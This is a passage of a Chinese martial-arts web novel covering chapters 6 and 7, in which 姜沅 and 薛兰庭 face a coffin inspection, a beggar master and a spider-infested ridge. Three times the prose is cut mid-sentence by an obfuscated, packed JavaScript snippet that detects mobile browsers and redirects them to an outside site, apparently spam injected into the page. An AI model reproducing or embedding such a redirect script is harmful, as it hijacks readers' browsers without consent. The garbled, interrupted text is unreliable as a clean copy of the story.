“你这个白眼狼!我家公子好心帮你二人,你竟然恩将仇报!”要不是宋释拉着,齐宁就冲上去把他们的头都割了。 薛兰庭不理解这老板怎么突然反水,上前一步欲讨个说法:“不是,你怎么……”衣袖一紧,是姜沅对他摇了摇头。 薛兰庭默默闭了嘴,瞪着眼无声询问她,可惜姜沅一心盯着那几个捕快和背弓人。 阿渠姑娘低声提醒道:“阿伯记错了,宋公子明明是在帮……” “阿渠!”店家连忙打断,“你糊涂了,县令老爷丢了名贵的宝贝,严查外乡人,出了什么漏子,你我担待得起?” “好、好、好!好一个外乡人!”齐宁气极反笑,“我家公子,可是当今丞相宋百龄宋大人之子,看得上你们县令的宝贝?你们狼狈为奸污人清白,要是让我们大人知道了,有你们好看!” 宋相之子! 捕快们面露惊疑,拔出的剑收回半寸。 “这……”捕快头儿心中忌惮,“口说无凭,你们有何证明?” 齐宁不说话了,宋释为难道:“实不相瞒,前几日我们路遇劫匪,不慎将印信路引一并遗失了。不过,家父赠予的玉佩,我一直贴身藏着,此乃丞相府旧物,或可交与县令大人一观……” “哈哈哈哈哈哈哈,哪家劫匪不抢玉佩抢路引?你说谎好歹像样点吧!再说了,这劳什子玉佩,谁知道是真是假,打哪来的?”瘦子疯疯癫癫,胡乱嚷道,“不就是丞相府信物么?我也有!我这麻布鞋还是丞相大人亲自穿过的呢。不信,你闻闻!大人明鉴啊,他们就是小偷!大哥,你死得好冤啊……” “闭嘴!”齐宁忍无可忍踹了他一脚。 捕快头儿被他们吵得头大如斗,摆手道:“行了行了,我们大人日理万机,哪是想见就能见的。是与不是,一查便知。来人,开棺!” 白衣人纷纷围成一个小圈严阵以待,剑拔弩张。宋释面色沉沉:“大人,这不好罢,里头是家母遗体,死者为大,还望高抬贵手。” 阿渠挣脱开摊主的手,扑通跪倒在地:“大人,此事因我而起,你们放过宋公子吧!我、我给你们看……” 说罢,一把将面纱扯下。 “嘶——”众人倒吸口凉气。 上半张脸光洁如玉,下半张脸却是坑坑洼洼,如被烈火灼烧,黑痂脓疱黏为一体,疤痕交错,狰狞丑陋,实在让人难以想象她曾经经历过什么。 宋释道:“阿渠姑娘……” 阿渠眼里闪过一丝屈辱,咬着下唇,泪光闪闪。脸上突然传来异样触感,她怔怔抬头,却见姜沅挡住众人视线,将面纱戴回了她的脸上。 捕快头儿道:“那也只能证明你是无辜的,他侮你,你不会报官么?即便事出有因,杀了人,仍得付出代价。这棺材,一定得开!” “你们简直欺人太甚……” “罢了,齐宁。”宋释拳头握紧又松开,叹了口气,拱手道:“既如此,悉听尊便。只盼查验之后,尽早还家母一个清净,不要耽误了送丧的时辰。” 白衣手下皆不服气,却又无可奈何,眼睁睁看着几个捕快将棺材盖抬起。 众人围上前,见那棺材之中,一个苍老惨白的老妇人面孔逐渐展露。 她慈祥端丽,死气沉沉,双手交叠于腹前。不难想象,生前也是一个颇有威严气蕴的大家闺秀。如今只身下一张软垫,棺内一点随葬品也无。那瘦子眼见不好,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274942|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝贝肯定藏在她衣服里!” 宋释再好的涵养也保持不住,一剑钉到他身前半寸处:“你再胡言乱语?!” 瘦子差点被吓尿,慌乱爬到麻子脸身后,硬着脖子道:“要是没有,方才开棺的时候,你那么紧张做什么!” 齐宁真后悔没把这瘦子一并杀了,眼看捕快步步逼近,他与另外三名白衣护卫挡在棺材前,道:“我看谁敢!” 捕快头儿使个眼色,其余人大喝一声持剑冲出,气势如雷。将至交锋之际,忽然眼前长条黑影一闪,如晴天惊雷,迅猛难及。捕快们虎口大震,手中长剑纷纷脱手飞至半空,又簌簌坠地。 “什么东西?!”捕快们大惊失色。 化龙鞭上的骨刺尽皆张开,闪着阴森寒光,同样寒冷的,还有持鞭人的眼神。 手下被一招打得丢盔弃甲,捕快头儿的脸色青白交加,又顾忌对方的实力,道:“这位少侠,武林官府互不干涉,他们在我们地盘上犯了事儿,你纵容嫌犯,不太好吧?” 姜沅道:“适可而止。” 薛兰庭拍桌道:“都开棺了还想怎样?那小流氓就是故意的,没看出来?你们县令到底丢了什么值钱的大宝贝,至于在这里为难一个孝子?” 一小捕快哼道:“我们大人丢失的,是一张价值连城的古圣贤残谱!” 薛兰庭大失所望:“搞了半天,一张纸啊?” “你懂什么!”小捕快不耐烦推他一把,却没推得动,脸色瞬间扭曲。 姜沅仍不让开,捕快们进也不是,退也不是,一时僵在那里没个主意。与他们一起走来的三个背弓人中,为首最高的那一个开口了:“不如各退一步。在下略通机关之术,便让我检查一番这口棺木,如何?在下保证,不会对令慈有半分不敬。” “董少侠说的在理。”捕快头儿脸上带笑,对那人颇为尊敬,又转过头问,“不知,宋公子意下如何啊?” 宋释僵立半晌,后退一步,嘴角依旧紧紧绷着。 “得罪了。”那董姓青年道。 他走到棺材旁,环绕一圈,里里外外以指节“砰、砰、砰”地敲击,最后定格在棺椁中段,从腰间革囊中捻出一撮白色粉末,沿着棺材侧面一道细缝轻轻吹落。粉末附着处,竟隐约显出几道交错纵横的浅痕。 他眸光一凝,自怀中取出一根细如发丝的探针,刺入缝隙之中,轻轻捻动,眉头越皱越深。那人检查得专业认真,薛兰庭伸长脖子好奇地瞅着。一旁的姜沅却注意到,宋释的脸色随着那人的动作愈发泛白。 突然,“咔嚓”一声。 “还真的有暗格!看嘛,我就说他们不正常!”瘦子像踩了弹簧般猛地弹起。 齐宁愣了,下意识看了宋释一眼。 捕快头儿激动道:“快拿来看看!” 暗格之中,是一只巴掌大的长条形雕花梨木盒,古朴而神秘。 董姓青年以探针刺入钥孔,上上下下几声闷响,盒盖自动向上弹开,现出其中之物。 6. 异人 那是一卷书。 蓝封黄页,封皮溅了大块墨水而显得肮脏。捕快头儿接过后匆匆翻看几页,上扬的嘴角逐渐放平、耷拉。 他不动声色看了旁边的董姓青年一眼,随即合上书,拳背抵嘴,咳了一声。 “宋公子啊,这……” 宋释沉声道:“此为家母殁前所抄,间有遗嘱,不知可否证明某之身份。” 捕快将书还了回来。一阵风过,掀起几页纸,姜沅眼尖地瞥到其中一句“一切业障海,皆从妄想生”。此乃《普贤观经》的内容,大字间隔中又夹杂凌乱小字,似批注,又似呓语。 捕快头儿兀自犯难,硬着头皮道:“非是我故意为之,只如今这节骨眼儿,大家都不容易,不知可否先……” “驾!” 只听得一阵马蹄声,四五名着蓝衣、负长剑的青年,扬鞭策马赶来。 “宋公子,我等来迟了。”为首青年翻身下马,拱手抱拳。 宋释讶然:“阁下是……” 那人道:“在下凌波山庄程骇。宋相大人早年解决闵州水患一事,便是保全了我们庄主大人的本家,于凌波山庄恩重如山。前几日收到藻州匪患的消息,得知宋公子途径险地,便派我等前来相护,也算全了这份恩情。” 宋释道:“原是如此,此次便有劳诸位,宋某感激不尽,他日定当登门拜访。” 程骇道:“公子客气了,宋氏乃清流明臣世家,多年来为百姓谋福无数,说这话反倒折煞我等。往后若有需要相助之处,敝山庄定当倾力相助,义不容辞。” 宋释动容,又与他寒暄几句。程骇眼中带笑,扫视一圈,在看到姜沅、薛兰庭二人时,诧异道:“好巧,二位少侠也在。” 宋释道:“怎么,竟还是旧识?” 程骇失笑:“算不得旧识,只是几日前比武大会,在下亲眼见到两位少侠的英姿,实在佩服之至,心向往之。我这粗身手,怎敢与两位英雄相提并论?” 程骇作为程书青的左膀右臂,一番话倒是说得漂亮至极,大方有礼的气度,也很容易让人产生好感。 三名背弓人,在他们刚来时便悄然退下了。捕快头儿态度一百八十度大拐弯,表情夸张:“原来真的是宋相之子!小的们有眼无珠,方才多有得罪,宋公子,快请,快请。” 宋释道:“那这误伤一事……” 捕快头儿道:“宋公子仗义出手,这淫贼调戏良家女子不成,畏罪自尽!来人啊,把这两个同伙拿下!” 瘦子和麻脸一听,也知道自己得罪了大人物,脸色煞白,不等捕快缉拿就昏倒在地。 一场闹剧,在凌波弟子的介入下有惊无险地结尾。余下的,便是宋家与凌波山庄的私事。 金乌西坠,鲜艳招展的幌子,已被暮色舔舐成宁静的灰了。 宋释有感于姜薛二人的相助,提议一同入城暂作休整,姜沅没有推辞。薛兰庭兴致勃勃,勾了个腼腆小捕快的肩膀,探问起这一带的风土特产。 第二日县老爷亲自上门赔罪,宋释与之交涉了一上午,再闲下来时,却听人报,那两位江湖侠客已经离开了。 宋释惋惜一笑,摇摇头道:“希望以后,还有缘再见吧。” 熙熙攘攘的大街,热闹非凡,卖扇子雕饰的、杂耍的、揽客的,比赛似的吆喝,一声盖过一声。骨刺尽收的化龙鞭,盘成圆圈挂在窄劲后背,如一条安静乖巧的蛇蛰伏在人群之中。 鞭子的主人,心思全不在当街的热闹上,脚步有些沉凝。 她昨晚飞鸽传书,将截棺一事禀告姜甫阁。姜甫阁亦觉蹊跷,暗中派人调查,并让她警惕那三名背弓人。 无他,只因那一把雕羽反曲复合弓,明显是善于骑射野战的北派人风格。南派以步射为主,长弓、单体弓居多,且没有以青羽装饰弓身的习俗。 可南北武林分治多年,他们是何人,目的何在,又为何与此地官府状若亲密? “沅兄!” 脚步一顿。 “沅兄,不是要快点走吗?怎么还落在后头,差点找不到你了!” 姜沅抬头不耐道:“我是叫你别跟那些人扯上干——” 她面色忽而变得古怪:“你打算就这样上路?” 薛兰庭晃了晃身上挂着的木雕小剑、栗饼米糕,叮叮当当一大堆配饰,活像一个行走的人形摊架:“你说前面没什么城镇,总得带点东西,聊作消遣吧。” 姜沅无奈,顶着路人火热奇异的眼神,有种想装作不认识眼前这人的冲动:“莫说走累了,让我帮你提。” “不会的!” 薛兰庭心道:“要是走不动了,再卖出去不就好了?”这样喜滋滋畅想着,拐角突然撞上一个歪歪扭扭的人影。 薛兰庭下意识一扶,鼻子闯入一股酸臭难闻、像是在垃圾堆里打滚三天三夜没洗澡的脏味,熏得他差点当场呕吐。 一个妇人的尖嗓接踵而至:“这死老头,黑了五六次账,再让你吃到我酒,老娘就跟你姓!” 乞丐模样的老头,一张脸完全让乱发给遮了:“甚么叫‘黑’?我这是借,借酒!下次定能还上,还少了你的不成?小气!” 咯吱窝里的竹竿狠狠戳了几下地,他甩开扶住自己的薛兰庭道:“滚滚滚,别碰你大爷!” 沾满污泥的手,正要迁怒似的,往那绣金澹月袍上狠狠一拍,薛兰庭如临大敌,飞速扭身躲过。老头“咦”了一声,干枯紫黑的手掌如影随形,毒蛇般再次蛰上来。 薛兰庭放下木蜻蜓等物,出手格挡,转瞬之间,残影翻飞,两人凭手腕力道已过了六七招。风声飒飒,腕飞肘突,最终,薛兰庭胸口一痛,整个人倒飞出去,身上之物哗啦啦掉落一地。 “喂!我好心扶你,你这老头,好生不讲情面!”他龇牙咧嘴,胸口印上黑漆漆一只脏手印,晃眼的很,也狼狈的很。 老乞丐笑道:“哈哈哈哈,小子,以后可千万别瞎帮人,保不准救了白眼狼,要你偿命你都只能自认倒霉!” 薛兰庭嘿嘿一笑,“可我运气向来好,瞅着您是好人呢。刚刚那招真厉害,前辈,您教教我吧!” 见他拦在身前,老乞丐冷哼道:“这世上,还从未有人说老儿是好人!谁要做那臭好人!滚开,再烦老子,就把你这细胳膊、细腿儿都给拧断!” “我不!” 话音刚落,小腿传来一阵剧痛。原来是那老头轻挑竹竿,看似毫无力道地往他腿上一点,骨骼肌理顿时为之裂颤。随即又是往他侧腰一拍,薛兰庭身子歪倒,冷汗涔涔,咬牙忍住火燎般的痛感。 老乞丐道:“好个不知天高的狂妄小子!老夫这就让你长个记性!” 细瘦竹竿裹着千钧之力,往地上人的额头点去。一旦触碰,将是脑浆迸裂、一击毙命。薛兰庭立时后仰,那竹竿追将上来,眼看着就要刺入眉心。 电光火石之际,一条玄蛇死死咬住竿身,半息滞涩,薛兰庭毫无形象地手脚并用,滚爬到一边去了,心中只两个字:好险! 老乞丐再次“咦”了一声,看向来人。竹竿依旧被玄鞭缠住,他不退反进,手中再绕翻绕一圈,以不可抵挡之势,刺向姜沅的小腿的阳陵泉穴。汩汩内力沿着绞缠的武器传来,姜沅果断弃鞭,抽身后退,与帮上来的薛兰庭一左一右,跟那老乞丐斗了数百个来回。 少顷,那乞丐收了武功,竹竿咚咚点地:“不玩了不玩了!以多欺少,以壮欺老!” 姜沅淡淡道:“前辈,您也不过四十岁,何必自称‘老’?” 乞丐一噎,拨了拨乱糟糟的头发,反驳道:“较真。心老了,可不也是老了么!” 薛兰庭在一旁瞧着稀奇:那人声音苍老嘶哑,整张脸都被毛茸茸的头发和胡须挡住,裸露在外的手,也是脏污黑紫一片,姜沅是怎么看出他年纪的? 还没琢磨出个所以然,又听姜沅道:“我这朋友顽童心性,脑子不太好使,若是不小心惹到了您,还望莫见怪,晚辈赔您一壶酒。” 薛兰庭委屈道:“我真的只是扶了他一下!” 乞丐咳了咳:“那好吧,看着小娃这么诚恳的份上……三壶酒,顺便把老儿酒账付了。” 姜沅微笑:“那是自然。”转过身看向薛兰庭,嘴角立刻就压下来:“还不快去!” 薛兰庭耷拉着肩膀去了,叠抱着三只高高的酒坛回来。乞丐当即拆开一坛,对天豪饮,哈哈一笑:“华娘子还说我再也吃不成她酒,这下好了,她得跟我姓!” 旋即将剩下半坛往空中一抛,竹竿尖端挑住,酒水泻出细细的一线,从高处流入他手里油亮光滑的葫芦窄口中,精准到未溅出一滴。阳光穿透酒线,竟照出一道浅浅的彩虹。 姜沅和薛兰庭已被眼前这漂亮功夫看呆了。哐当一声,乞丐将空坛掷地,抱着剩下的两只酒坛一摇一摆走了,嘴里还哼起怪调。 他左腰一只满满当当的酒葫芦,右腰一摞米糕,随步子一蹦一跳,竟不知什么时候将薛兰庭买的零嘴顺手牵羊了。薛兰庭在后面道:“前辈,还未问你姓名呢!” 乞丐头也不回:“无名无姓,异人是也!” 薛兰庭目送他背影离去,回过头,对上姜沅的眼睛。啪嗒一声,他腰间岌岌可危的竹蜻蜓掉到了地上。 “沅兄,这次多谢你啊!江湖之大,奇事无穷,谁曾想一个平平无奇的乞丐,居然还是个绝世高手呢!也不知他比起大名鼎鼎的萧风扬来,谁更厉害一些,光是一杆竹子,使得比钢枪铁剑还猛。” 姜沅知他做错事心虚,也不苛责,只道:“我听父亲说,萧风扬已步天人之境,怕是半根手指不用,就能将你打得落花流水。况且——” 她望向乞丐离开的方向:“平平无奇?我看不然。他那手指紫黑僵立,恐中过剧毒,寻常人早已毙命,他却能安然到现在,甚至不费功夫轻易胜过你我二人,足见内力功法之深厚。若说曾经江湖无名,我是不信的。” 薛兰庭奇道:“他那么厉害,中毒了怎么不去找‘鬼手观音’医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274943|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治?天下可没有她解不开的毒。” 姜沅鄙夷道:“你忘啦?鬼手观音不救武林中人,除非废去武功。” 但混迹江湖多年,多多少少也会结点仇家。武功一废,恐怕等不到治好下山,便被那饿狼般闻风赶来的仇人,撕成残渣碎片了。 薛兰庭心想:“还好这一路有沅兄作陪,不然凭我这性子,还不知闯出什么大祸来。不用到芜城,我就得托薛伯伯来收尸了。”思及此,他快步跟上姜沅,再也不乱走乱晃。 两人走走停停,经过榆岭,北上沅江。江水浩浩汤汤,堆雪拍岸,渔夫吆喝着撑船撒网,金红金红的太阳,照亮了沿着下颌滑落的一滴汗珠,混入奔腾不休的江水里。 薛兰庭背着、挂着山高的小玩意儿,心中已是十分后悔了,见姜沅驻足江畔,似在远眺,心中一喜,趁机向几个渔人和小孩子推销起身上的物件来,你来我往嘴都讲干了,终于卖出大半,脚步轻快了不少。 “下一地,便是圭月岭了。”姜沅打开水囊喝了口水,嘴唇浸上一层莹润。 路旁渔夫听了,道:“圭月岭?你们两个小娃娃,去那作甚?那可是出了名的‘五毒岭’,上个月进去一支商队,只有一人逃了出来。” 薛兰庭道:“哎呦,大伯,要不是急着赶路,我们断不会如此冒险。绕过去,又得耽搁大半月!” 渔夫道:“甚么要紧事,也没有人命要紧啊!好在这季节毒物蛰伏,不甚躁动,你们带点干艾叶、雄黄粉、解毒丹,有备无患。” 薛兰庭点点头,倒了倒自己的水囊,空了,接过姜沅的,吨吨吨喝了几口,笑道:“好啦,谢谢大伯,我这兄弟武功高得很,有他在,什么毒蛇猛兽都是不怕的!来一条蛇我串一条,出来后请你吃蛇羹!” 那渔夫笑了笑,道:“好小子,你要是全须全尾出来了,下次来,大伯请你来家中吃鱼!” 一个小女孩扎着双髻跑过来,手中拿着薛兰庭送出的竹蜻蜓,围着渔夫喊爹爹,声音娇娇糯糯。灵动似水的眼珠,好奇瞅着两个外乡人。姜沅朝她微微一笑,小女孩羞赧着,将一只吃了半口的馒头递了过来。 姜沅一愣,缓缓伸出手接过,小女孩咧嘴跑开了。 在沅江边吹了会儿软风,两人便再次上路。姜沅掏出半只馒头,道:“你吃么?” “这可是人家姑娘送你的。”薛兰庭打趣道。 姜沅道:“你不吃,我就扔了。” 说完,作势要丢进江里。薛兰庭忙道:“哎哎哎,我吃,我吃还不行吗!我饿得慌!” 他咬了一口,嘟囔道:“小姑娘这是喜欢你,怎么能这样。下次我请你吃蛇羹吃不吃?” 姜沅道:“馒头都堵不上你的嘴。” 不日后,薛兰庭吃蛇羹的打算最终还是落空了。 圭月岭。枝虬蔓绕,古木参天,落叶铺得厚厚一层,看不见道路,或许从来没人走出过道路。幽静得没有一丝风声,到处弥漫着甜腐的花腥气。 脚踩枯枝声响起。进来不久的两人,屏息静气,按照罗盘指引前行。 姜沅心下生疑:走了好一大段路,怎的半点异样也无?难不成他们运气竟这般好,平平安安穿过了这吃人岭? 正疑惑间,脚下踩到一物,姜沅踢开草叶,看到了掩映的东西。 一条腕粗的黑色蛇尸,腹中一短箭。 地上的血液,尚凝固不久。 她刚要开口。走在前面开路的薛兰庭,身体突然后仰,右手往头上一扒,扯下一张密密的蛛网,仰头一望。 他就这么维持着脸面朝天的姿势,眼睛大瞪,急切又僵硬地拍了拍姜沅。 姜沅顺着他视线看去,心顿时一惊。 参天巨树将阳光切得细碎,垂在半空的藤蔓,数不胜数,每一根,都爬满了密密麻麻、有两只人头那么大的紫黑蜘蛛! 成千上百剧毒无比的巨蛛,沉睡着,一动不动。 藤与藤之间,有无数蛛丝,搭桥牵线,把密林层层封闭,让人感到压抑得透不过气来。 ……好一副令人头皮发麻的地狱图景! 两个人冷汗直流,心中只有一个想法—— 噤声! 要是惊醒了这些毒物,不等开打,它们全掉下来,都能把二人淹没了。 两人闭气运功,身似轻鸿穿林而过,不惊动一草一木。 就在即将离开这片蛛林之时,前方突然传来窸窸窣窣的声响,伴随凌乱不堪的脚步声。 下一刻,层层厚重灌木被刀光破开,一个穿着粗布衣裳的男人,惊慌失措撞了出来。身侧跟着三名眼熟的棕衣背弓青年,手持弯刀,发冠歪斜,神情如出一辙的慌乱,跟见了鬼似的。 姜沅心中一咯噔。果不其然,跑在前面的粗衣男人发出一声惊天动地的惨叫: “啊啊啊啊啊啊啊啊啊!!” 刹那间,鸟雀惊飞,寂静乍破,悬挂于头顶的千百只毒蛛的眼,如幽幽墨绿鬼火,“唰”地齐齐骤亮! 7. 阴杀 旁边背弓青年听他惊叫,忙捂住他嘴,却是晚矣。 偌大密林,巨蛛嘶嘶如雨落下,地面堆满厚厚一层,山岳般朝几人移动,酝酿一场激战。 姜沅当机立断:“快跑!” “不可!” 检查过棺木的董姓青年面色惊恐,“前面、前面有‘毒王’!” 姜沅一惊:“你们怎么会招惹上那种东西?!” 毒王,乃栖居圭月岭中央最深处的剧毒之物,凶悍无比,触之即死,轻易不出动,传闻是一头生有三头六臂的怪物。 另一个更为年少的背弓人面色涨红,喘着粗气道:“不知道啊!我们走得好好的,哪知一炷香前,深林异兽躁动,那毒王直接冲出来了,刚好被我们撞见!”说到此,他踢了粗布衣裳的男人一脚,“你还说是熟悉此的本地人,瞧你带的好路!” “冤枉啊!我也不知怎的,那毒王向来在这几日沉眠,突然出洞一定是有什么怪事!”那高大男人瑟缩着,浑没气势,叫苦不迭。 说话间,密密麻麻的毒蛛潮水般涌了上来。粗衣男人惊叫着往几人身后躲去,又畏惧即将追上来的毒王,前顾后盼,哀嚎不断。姜沅一鞭荡开,扑上来的毒蛛霎时汁血四溅,她喝令:“别吵了!先绕道进去!” 这几人身份不明,她心中无甚好感,与薛兰庭背靠背,抵挡毒蛛侵袭,俨然形成一小个牢固的安全圈。 董姓青年武功尚可,一把残月弯刀使得凛凛生风,可其余两名背弓人却稍显稚嫩,又带了个搅屎的累赘,一时左支右绌,仓皇狼狈。方才说话的少年忽然低呼一声,小臂被那毒蛛咬了一道裂口,顿时瘫软,弯刀滑落。 “长宇!躲我身后!”董姓青年劈落一只毒蛛的头颅,避开绿色液体。 薛兰庭百忙之中抛了一物:“解毒药!” 少年接过一愣,似乎不太习惯陌生人的好意,见两位师兄忙于挥砍,也不甘拖后腿,憋出一句:“……多谢。” “不行啊,这简直太多了!再打下去,不是被咬死就是力竭而死!”粗衣男子喊道。 几名背弓人虽对他不喜,却也知他说的是真话。一边对付毒蛛,一边寻找新的道路,内力飞快流逝,心中焦躁不已。这时,粗衣男子道:“咦?为什么他们那边的毒蛛少一点?” 几人望去,姜沅与薛兰庭周围,空了一片,毒蛛数量是他们这里的五分之一。董姓青年道:“都散开!别围在一处!” 两两分开,扑上来的毒蛛依旧不见少。粗衣男子差点被咬中,双腿颤颤,眼珠一转,抱着脑袋跑向那更安全之处:“两位大侠,救命啊!” 背弓少年翻了个白眼,但少了个累赘,功夫确实好施展许多。粗衣男子躲在姜薛二人身后,松了口气,忽而瞥到姜沅绷紧的侧脸,眼睛大瞪,讶异道:“你、你是……小圆儿?” 姜沅握着化龙的手一抖,差点被一只斜出的毒蛛抓伤,好在剑影及时一划,薛兰庭护在身旁:“小心。” “不对——”董姓青年疲惫又吃力的声音传来,“那两位兄弟,你们身上带了何物?这些毒蛛貌似有所忌惮,董某愿意重金购买。” 不是人数差异,便是有其他东西叫这些毒蛛不敢近身了。背弓人气喘吁吁,目光希冀。姜沅闻言心中一动,从怀中取出一只绣竹香囊。 周围的毒蛛,停止了攻击,围着她团团打转,急躁又忌惮。 薛兰庭惊喜道:“原来如此!沅兄实有先见之明,不过怎么从未见你拿出来?” 姜沅自己也忘了这物什,那长兄给的东西,即使查验过是驱虫一类的药物无疑,她也不敢抱什么希望。 “该不会,是不想给我们发现吧……”说话的这人伤痕累累,衣服划破了不少口子,语气不乏怨怼。董姓青年皱眉道:“阿武,不得无礼!” 姜沅微微一笑:“也罢。行走江湖,谁都有山穷水尽的时候。这药囊,我并非不能分予你们。” 董家人尚不及欣喜,却又听她说:“只是我这儿有一条规矩:药只救真人,义不赠伪客。三位连姓名身份都是伪造的,行走坐卧无一句真言。我若将性命相托之物交予你们,他日风波再起,我又如何信你们不会反手为刃呢?” 阿武忍气道:“我们不过江湖散客,无意路过此地,你若交出药囊,出去后定会携银百两致谢。” 姜沅不答,依旧微笑着,静静地看着他们与巨蛛搏斗。 巨蛛迟迟吃不到猎物,耐心渐无,不敢招惹姜薛,便一浪又一浪朝四人猛然打来,摧枯拉朽。 长宇体力不支,身上衣衫血迹斑斑,用恳求的目光看向董姓青年:“师兄……” 董姓青年败下阵来,握紧刀柄,对姜沅道:“在下童非,这是我的师弟明长宇、童武,都是童家庄的人。” 姜沅挑眉:“北派第一庄童家庄?” 童非面有愧色:“正是。” “那你们来南地是……” 童非道:“家父早年流落于此,与当地县令有过一段渊源。县令大人前些日子五旬大寿,我等奉命前来祝贺,却不巧碰见了窃宝一事。本着能帮则帮的想法,才有了查验棺椁之举,若有冒犯,实在抱歉。” 姜沅道:“你们冒犯的又不是我,没什么好抱歉的。” 童家庄作为北派武林执牛耳者,与南派三大庄井水不犯河水。她也乐得收个人情,取出香囊中的干粉香料,一人匀了一把,分到粗衣男子时,那人笑容谄媚又明亮,似火球般热切盯着她。 童非握着药粉,感激道:“不知两位少侠又是何派弟子?日后,童某定当携金拜访。” 姜沅用他们的话回道:“不过江湖散客,路过而已。” 旁边的童武脖子一红,偏过头颅。 毒蛛窸窸窣窣,不甘退去,又不敢上前,吞吐口器挨着他们游走。一炷香后,见实在吃不到猎物,陆续回到领地。 劫后余生,却又危机四伏,众人高悬的心依旧不落。童非擦了把汗:“毒王已苏醒,穿过吃人岭,必须绕开中央之地。” 而且,是有运气、有技巧地绕开。 “毒王究竟是什么东西,让你们害怕至此?”薛兰庭好奇问。 明长宇立刻道:“是一只怪物!像一条蛇,又像一只巨蝎,三个头!浑身铠甲!足足有……我跟童非师兄加起来那么高!” 薛兰庭一吓:“世上竟有这么恐怖的妖怪!” 童非一拍明长宇的肩膀:“好了,少吓唬这位兄弟了,当时走的急,谁看得清。” 明长宇争辩道:“就长这样,我看清了!” 童非依旧摇头叹息,明长宇少年心性上来了,偏让他们相信自己不可,越发绘声绘色描述,甚至指着他身后:“不信你看!” 童非后背泛起鸡皮疙瘩。 童武捂着敷过药的手肘:“别吓唬大师兄了。你说得对,行了吧。” 明长宇露齿一笑。经过这番争论,几人间的气氛活泼不少,尤其明长宇、薛兰庭二人,性子活泼,几乎一见如故——当然,薛兰庭都能跟一开始讨厌他的姜沅一见如故,还有什么不能一见如故的? 两道灼热的视线,始终粘着姜沅的后背,她脚步不由又加快了些许。薛兰庭落在后头,遥遥道:“沅兄,小心点啊,我跟你一起!”扛着剑噔噔噔几步赶上去。 粗衣男子也追上去,激动道:“沅——你是不是叫姜沅?!你果然是小圆儿!你、你怎么是个男……” “是。”姜沅截声睨着他,强作镇定,明知故问:“你又是何人?” 粗衣男子激动道:“我是你尹大哥——尹大头啊!你不记得我了么?小时候……” “怎么,你们认识?”童非前几天出高价钱,找了个口称在此住了十年的本地人带路,没想到还有这层缘分。 尹大头道:“我、我原本也不确定,六年前你和你娘突然失踪,也没个信儿,没想到你都长得这么高啦!这张脸,我死也不会忘。只是……我以前还以为你是女子呢……” 薛兰庭道:“沅兄长得清俊了些,但确是男子啊,你这人,眼睛怎么长的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274944|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童家人点点头。姜沅身近八尺,胸膛平坦,放在男人中也算高挑,除了那张脸过分秀美,以及肩窄腰细、喉结不太明显外,几乎不会让人怀疑性别。 姜沅心中冷笑。他们当然不会怀疑,毕竟她付出意想不到的代价,承受难以言说的痛苦,才造就了今日这副不人不鬼的躯体。 尹大头尴尬道:“是是是,我眼瞎……” 尹大头没说的是,曾经他对姜沅母女颇有照拂,便是打了长大结亲的心思。毕竟他这种好吃懒做的底层光棍,饭都吃不起,哪个女子肯嫁?姜沅失踪后,他恼羞成怒,自认白费力气吃了闷亏。如今再次相见,对方衣鲜亮丽,武功绝伦,他便也不计较“他”伪作女身贪图便利之事,毕竟少了门亲事是小,多了条攀交门道为大。 他有意唤起她心中恩情,边走边道:“不知小圆儿在何处高就啊?这几年,是怎么过的?伯母可还好?……” 姜沅不胜其烦,心道:“福无双至祸不单行,童家人找的好搭档,今日若是叫他活着出了吃人岭,我便不姓姜!”嘴上应付道:“有什么话,出去再说吧,小心招来毒王。” 尹大头讨了个没趣,环视一圈,见几人面色皆有不耐。他干笑一声,因着仰仗于人,不再开腔,寻个安全位置降低存在感。 忽然,童武俯趴在地,双手作喇叭状,变色道:“不好了!西北方向,有重物追上来了!” 除了那东西,还有什么重物! “嘶嘶——嘶嘶——” 令人汗毛直立的诡异声音渐渐近了。 几人一手握住药粉,一手持刀剑劈木斩毒虫,脚下轻功运起,如柳絮追风,飞速绕道逃离。尹大头将噤声一事完全抛之脑后,伸臂急切道:“等等我!少侠们等等我啊!” 童非眉心一跳。到底还是他们带进来的,于情于理,都不能见死不救,刚要折返,姜沅却道:“我去吧。” 童非心中暗喜,道:“这怎么好劳烦你?” “本来就是我的‘故友’。况且,你们带个人,还跑得掉吗?” 奋战毒蛛之时,童家子弟的内力便已消耗大半。童非自知技不如人,面红耳赤,道:“那便多谢了。” 姜沅微微一笑,向后掠去。怕薛兰庭追来,便把背上行囊一丢,道:“帮我拿着,我稍后便到。” 